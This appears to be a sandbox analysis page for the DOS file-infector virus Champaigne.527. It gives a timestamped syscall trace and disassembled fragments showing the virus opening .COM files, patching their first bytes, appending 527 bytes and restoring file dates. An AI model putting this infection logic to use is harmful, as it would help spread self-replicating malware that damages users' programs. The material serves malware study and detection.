Sample viewer

vx.netlux.org/Virus.DOS.Champaigne.527

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:19:46.680383247Z 42 PC: 12a57 | Get date 0x12a57: mov byte ptr ds:[bp + 0x2c9], dl
0x12a5c: mov byte ptr ds:[bp + 0x2c8], dh
0x12a61: mov byte ptr ds:[bp + 0x2c7], al
0x12a66: cmp al, 0
0x12a68: je 0x12a74
0x12a6a: mov di, 0x100
0x12a6d: lea si, word ptr [bp + 0x28b]
0x12a71: push di
0x12a72: movsw word ptr es:[di], word ptr [si]
0x12a73: movsw word ptr es:[di], word ptr [si]
0x12a74: lea dx, word ptr [bp + 0x2e9]
0x12a78: call 0x12b7b
0x12a7b: jmp 0x12b66
0x12a7e: cmp byte ptr ds:[bp + 0x2c9], 0x19
0x12a84: jne 0x12a91
0x12a86: call 0x12ab8
0x12a89: cmp byte ptr ds:[bp + 0x2c8], 6
0x12a8f: je 0x12aaf
0x12a91: mov dx, 0x80
0x12a94: call 0x12b7b
2018-12-17T22:19:46.683125291Z 26 PC: 12b7f | Set disk transfer address
2018-12-17T22:19:46.684464804Z 78 PC: 12b71 | Find first file
2018-12-17T22:19:46.691195615Z 61 PC: 12ad6 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:19:46.699771464Z 87 PC: 12adc | Get or set file date and time
2018-12-17T22:19:46.701534693Z 63 PC: 12ae9 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:19:46.709233195Z 66 PC: 12b85 | Move file pointer
2018-12-17T22:19:46.710677883Z 66 PC: 12b85 | Move file pointer
2018-12-17T22:19:46.71237941Z 64 PC: 12bc0 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:19:46.715300207Z 66 PC: 12b85 | Move file pointer
2018-12-17T22:19:46.716864955Z 44 PC: 12b1c | Get time 0x12b1c: mov word ptr ds:[bp + 0x2d4], dx
0x12b21: mov cx, 0x12
0x12b24: lea di, word ptr [bp + 0x314]
0x12b28: lea si, word ptr [bp + 0x2d6]
0x12b2c: push cx
0x12b2d: push si
0x12b2e: rep movsb byte ptr es:[di], byte ptr [si]
0x12b30: cmp byte ptr ds:[bp + 0x2c7], 0
0x12b36: jne 0x12b44
0x12b38: mov cx, 0xd
0x12b3b: lea si, word ptr [bp + 0x250]
0x12b3f: rep movsb byte ptr es:[di], byte ptr [si]
0x12b41: jmp 0x12b4d
0x12b43: nop
0x12b44: mov cx, 0xb
0x12b47: lea si, word ptr [bp + 0x164]
0x12b4b: rep movsb byte ptr es:[di], byte ptr [si]
0x12b4d: pop si
0x12b4e: pop cx
0x12b4f: rep movsb byte ptr es:[di], byte ptr [si]
2018-12-17T22:19:46.719899211Z 64 PC: 12c71 | Write file or device (Write 527 bytes on handle 5)
2018-12-17T22:19:46.735456543Z 87 PC: 12b5e | Get or set file date and time
2018-12-17T22:19:46.736992074Z 62 PC: 12b62 | Close file
2018-12-17T22:19:46.745814603Z 79 PC: 12b71 | Find next file
2018-12-17T22:19:46.748616365Z 61 PC: 12ad6 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:19:46.755812167Z 87 PC: 12adc | Get or set file date and time
2018-12-17T22:19:46.757758843Z 63 PC: 12ae9 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:19:46.764770758Z 87 PC: 12b5e | Get or set file date and time
2018-12-17T22:19:46.766190529Z 62 PC: 12b62 | Close file
2018-12-17T22:19:46.774945287Z 79 PC: 12b71 | Find next file
2018-12-17T22:19:46.777978972Z 61 PC: 12ad6 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:19:46.785122908Z 87 PC: 12adc | Get or set file date and time
2018-12-17T22:19:46.787058258Z 63 PC: 12ae9 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:19:46.794332922Z 66 PC: 12b85 | Move file pointer
2018-12-17T22:19:46.795835077Z 66 PC: 12b85 | Move file pointer
2018-12-17T22:19:46.797556021Z 64 PC: 12bc0 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:19:46.800682659Z 66 PC: 12b85 | Move file pointer
2018-12-17T22:19:46.80217946Z 44 PC: 12b1c | Get time 0x12b1c: mov word ptr ds:[bp + 0x2d4], dx
0x12b21: mov cx, 0x12
0x12b24: lea di, word ptr [bp + 0x314]
0x12b28: lea si, word ptr [bp + 0x2d6]
0x12b2c: push cx
0x12b2d: push si
0x12b2e: rep movsb byte ptr es:[di], byte ptr [si]
0x12b30: cmp byte ptr ds:[bp + 0x2c7], 0
0x12b36: jne 0x12b44
0x12b38: mov cx, 0xd
0x12b3b: lea si, word ptr [bp + 0x250]
0x12b3f: rep movsb byte ptr es:[di], byte ptr [si]
0x12b41: jmp 0x12b4d
0x12b43: nop
0x12b44: mov cx, 0xb
0x12b47: lea si, word ptr [bp + 0x164]
0x12b4b: rep movsb byte ptr es:[di], byte ptr [si]
0x12b4d: pop si
0x12b4e: pop cx
0x12b4f: rep movsb byte ptr es:[di], byte ptr [si]
2018-12-17T22:19:46.804831562Z 64 PC: 12c71 | Write file or device (Write 527 bytes on handle 5)
2018-12-17T22:19:46.814082972Z 87 PC: 12b5e | Get or set file date and time
2018-12-17T22:19:46.815700748Z 62 PC: 12b62 | Close file
2018-12-17T22:19:46.824441554Z 79 PC: 12b71 | Find next file
2018-12-17T22:19:46.828340406Z 61 PC: 12ad6 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:19:46.835804102Z 87 PC: 12adc | Get or set file date and time
2018-12-17T22:19:46.838207173Z 63 PC: 12ae9 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:19:46.845722282Z 87 PC: 12b5e | Get or set file date and time
2018-12-17T22:19:46.847305992Z 62 PC: 12b62 | Close file
2018-12-17T22:19:46.855039424Z 79 PC: 12b71 | Find next file
2018-12-17T22:19:46.858394881Z 61 PC: 12ad6 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:19:46.865551659Z 87 PC: 12adc | Get or set file date and time
2018-12-17T22:19:46.867000419Z 63 PC: 12ae9 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:19:46.874347215Z 87 PC: 12b5e | Get or set file date and time
2018-12-17T22:19:46.875906124Z 62 PC: 12b62 | Close file
2018-12-17T22:19:46.883573546Z 79 PC: 12b71 | Find next file
2018-12-17T22:19:46.886911921Z 61 PC: 12ad6 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:19:46.894236714Z 87 PC: 12adc | Get or set file date and time
2018-12-17T22:19:46.895729412Z 63 PC: 12ae9 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:19:46.903435328Z 66 PC: 12b85 | Move file pointer
2018-12-17T22:19:46.905306941Z 66 PC: 12b85 | Move file pointer
2018-12-17T22:19:46.906811936Z 64 PC: 12bc0 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:19:46.909652948Z 66 PC: 12b85 | Move file pointer
2018-12-17T22:19:46.911366057Z 44 PC: 12b1c | Get time 0x12b1c: mov word ptr ds:[bp + 0x2d4], dx
0x12b21: mov cx, 0x12
0x12b24: lea di, word ptr [bp + 0x314]
0x12b28: lea si, word ptr [bp + 0x2d6]
0x12b2c: push cx
0x12b2d: push si
0x12b2e: rep movsb byte ptr es:[di], byte ptr [si]
0x12b30: cmp byte ptr ds:[bp + 0x2c7], 0
0x12b36: jne 0x12b44
0x12b38: mov cx, 0xd
0x12b3b: lea si, word ptr [bp + 0x250]
0x12b3f: rep movsb byte ptr es:[di], byte ptr [si]
0x12b41: jmp 0x12b4d
0x12b43: nop
0x12b44: mov cx, 0xb
0x12b47: lea si, word ptr [bp + 0x164]
0x12b4b: rep movsb byte ptr es:[di], byte ptr [si]
0x12b4d: pop si
0x12b4e: pop cx
0x12b4f: rep movsb byte ptr es:[di], byte ptr [si]
2018-12-17T22:19:46.913983465Z 64 PC: 12c71 | Write file or device (Write 527 bytes on handle 5)
2018-12-17T22:19:46.923729675Z 87 PC: 12b5e | Get or set file date and time
2018-12-17T22:19:46.92641529Z 62 PC: 12b62 | Close file
2018-12-17T22:19:46.935023995Z 79 PC: 12b71 | Find next file
2018-12-17T22:19:46.937823172Z 61 PC: 12ad6 | Open file (Filename = 'PAH.COM')
2018-12-17T22:19:46.945510554Z 87 PC: 12adc | Get or set file date and time
2018-12-17T22:19:46.94694785Z 63 PC: 12ae9 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:19:46.95407156Z 87 PC: 12b5e | Get or set file date and time
2018-12-17T22:19:46.956169656Z 62 PC: 12b62 | Close file
2018-12-17T22:19:46.963952906Z 79 PC: 12b71 | Find next file
2018-12-17T22:19:46.966317675Z 61 PC: 12ad6 | Open file (Filename = 'TEST.COM')
2018-12-17T22:19:46.971180892Z 87 PC: 12adc | Get or set file date and time
2018-12-17T22:19:46.972316522Z 63 PC: 12ae9 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:19:46.97411139Z 87 PC: 12b5e | Get or set file date and time
2018-12-17T22:19:46.976049246Z 62 PC: 12b62 | Close file
2018-12-17T22:19:46.980790576Z 79 PC: 12b71 | Find next file
2018-12-17T22:19:46.982467217Z 26 PC: 12b7f | Set disk transfer address